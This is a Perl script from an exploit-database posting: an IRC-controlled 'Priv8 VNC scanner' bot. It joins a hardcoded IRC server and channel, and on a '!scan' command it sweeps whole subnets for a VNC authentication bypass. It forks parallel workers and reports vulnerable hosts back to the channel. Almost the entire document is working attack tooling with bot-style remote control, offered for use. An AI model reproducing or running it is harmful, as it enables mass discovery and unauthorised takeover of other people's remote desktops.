###########################

# [pl] Vnc Vulnerability Scanner

###########################

#!/usr/bin/perl
    # IRC Scanner - VNC VULN SCAN
    # by Nexen && CrashOveriDe
    # Multi-threaded scan for OpenVNC 4.11 authentication bypass.
    # Based on Tyler Krpata's Perl scanning code.

    #piglio le librerie
    use IO::Socket;
    use IO::Socket::INET;
    use threads;
    use threads::shared;
    use Errno qw(EAGAIN);
    use strict;
    use warnings;
    my $line;

    my $vulnerabili;


    #definisco alcune var
    our @results : shared;
    our $todo = 0;
    our $contatore = 0;
    my $orig_thread = "yes";
    my $start;
    my $end;
    my $time_estimate;
    my $elapsed = time;
    my $out_file;

    ++$|; # To watch as the results come in, in real time.

    #variabili di configurazione
    use constant VNC_PORT => 5900;
    my $splits = 5; # Creates 2^N processes.
    my $avg_time = 5; # Tweak this to get better time estimates.
    our $subnet;
    my $server="93.174.0.37"; # irc server
    my $porta="7000"; # port
    my $nick="[Scan|VNC]";# nick
    my $canale="#xp"; # canale

    #mi connetto a irc
    my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
    $sk->autoflush(1);
    print $sk "PASS mawhaha\r\n";
    print $sk "NICK $nick\r\n";
    print $sk "USER vncscan_bot 8 *  : nexen : priv8 : crash_overide :unknown\r\n";
    print $sk "JOIN $canale\r\n";
    printa(" 4,1 9Priv8 VNC SCANNER --- by  4CrashOveriDe & Nexen 9 -- Priv8!! Priv8!! Priv8!! -- !!  \r\n");
    printa(" 4,1 9Priv8 VNC SCANNER --- For scan use  4!scan range 9 [ex 1.1.1.*]-- Priv8!! Priv8!! Priv8!! -- !!  \r\n");
    #PRENDO I MESSAGGI
    while($line = <$sk>){

      $line =~ s/\r\n$//;

      if ($line=~ /^PING \:(.*)/) ######## PING REPLY
      {
          print $sk "PONG :$1";
      } ############################ END PING REPLY

      if ($line=~ /!scan (.+)/)
      {
          $subnet = $1;
          if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) {

            # Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
            $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
            $subnet .= ".";

            $out_file = "VNC_" . $subnet . "txt";

            # Mostly a guesstimate
            $time_estimate = $avg_time * (256 / (2**$splits));
            $time_estimate = int ($time_estimate / 60);
            $time_estimate += 4;

            printa(" 4,1 9Scanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s).  \n");
            printa(" 4,1 9[!] = Vulnerable, [*] = Safe, [.] = No response.  ");

            CHECK: {
                unless ($splits >= 0 && $splits <= 8) {
                    die "ERROR: Do not split $splits times--that makes no sense.\n";
                }

                unless ($splits <= 5) {
                    warn "Reduce the number of splits from $splits to 5 or less if you
                    get memory errors.\n\n";
                }
            }




            # Ugly, but this works.
            DivideWork() if $splits >= 1;
            DivideWork() if $splits >= 2;
            DivideWork() if $splits >= 3;
            DivideWork() if $splits >= 4;
            DivideWork() if $splits >= 5;
            DivideWork() if $splits >= 6;
            DivideWork() if $splits >= 7;
            DivideWork() if $splits >= 8;




    # Which IPs this thread scans.
            $start = $todo << (8 - $splits);
            $end = $start + (256 / (2**$splits)) - 1;

            foreach ($start .. $end) {

                Scan_VNC($_);

            }

            wait until $?; # Wait for children to finish.
            exit unless $orig_thread eq "yes";

            # Only the original parent thread will continue.

            $elapsed = time - $elapsed;
            $elapsed /= 60;
            $elapsed = int $elapsed;

            printa(" 4,1 9Finished scanning ${subnet}x in $elapsed minute(s).  ");

            $vulnerabili=SaveData();
                            printa(" 4,1 9Trovate TOTALI $vulnerabili VNCS  ");

          } else {
          printa(" 4,1 9Non e la sintassi giusta lamah. Inserisci qualcosa come 192.168.1.* ");
          }

      }


    }

    ####################################

    sub DivideWork {
        my $pid;

        FORK: {
            $todo *= 2;
            if ($pid = fork) {
                # Parent
                ++$todo;

            } elsif (defined $pid) {
                # Child
                $orig_thread = "no";

            } elsif ($! == EAGAIN) {
                # Recoverable forking error.
                sleep 7;
                redo FORK;

            } else {
                # Unable to fork.
                printa("Unable to fork: $!\n");

            }
        }
    }


    sub SaveData {
        my $vulns = 0;
        open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";

        foreach my $IP (1..254) {
            my $record;
            $record = $results[$IP];

            unless ($record =~ /not vulnerable/) {
                ++$vulns;
                print FOUND $record;
            }
        }

        print FOUND "\nVulnerabilites found: $vulns";
        close(FOUND) or die "Cannot close $out_file -- $!";

        printa("Data saved to ${out_file}");
    return $vulns;
    }

    sub Scan_VNC {
        # Scan for OpenVNC 4.11 authentication bypass.

        my $hostnum = shift;
        my $host = $subnet . $hostnum;
        my $sock;
        my $proto_ver;
        my $ignored;
        my $auth_type;
        my $sec_types;
        my $vnc_data;


        $host or printa("ERROR: no host passed to Scan_VNC.");

        # The host numbers .0 and .255 are reserved; ignore them.
        if ($hostnum <= 0 or $hostnum >= 255) { return; }

      # Format things nicely--that crazy formula just adds spaces.
        $results[$hostnum] = "$host";
        $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";

        unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {
            $results[$hostnum] .= "Not vulnerable, no response.\n";
          printa(".");
            return;
        }

        # Negotiate protocol version.
        $sock->read($proto_ver, 12);
        print $sock $proto_ver;

        # Get supported security types and ignore them.
        $sock->read($sec_types, 1);
        $sock->read($ignored, unpack('C', $sec_types));

        # Claim that we only support no authentication.
        print $sock "\x01";


        # We should get "0000" back, indicating that they won't fall back to no authentication.
        $sock->read($auth_type, 4);
        if (unpack('I', $auth_type)) {
            $results[$hostnum] .= "Not vulnerable, refused to support
            authentication type.\n";
            printa("*");
            close($sock);
            return;
        }

        # Client initialize.
        print $sock "\x01";

        # If the server starts sending data, we're in.
        $sock->read($vnc_data, 4);

        if (unpack('I', $vnc_data)) {
            $results[$hostnum] .= "VULNERABLE! $proto_ver\n";
            printa("! $host$hostnum VULNERABLE");
        } else {
            $results[$hostnum] .= "Not vulnerable, did not send data.\n";
            printa("*");
        }

        close($sock);
        return;
    }

    sub printa {
    print  "PRIVMSG $canale : ".$_[0]."\r\n";

    }

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-12-17]

###########################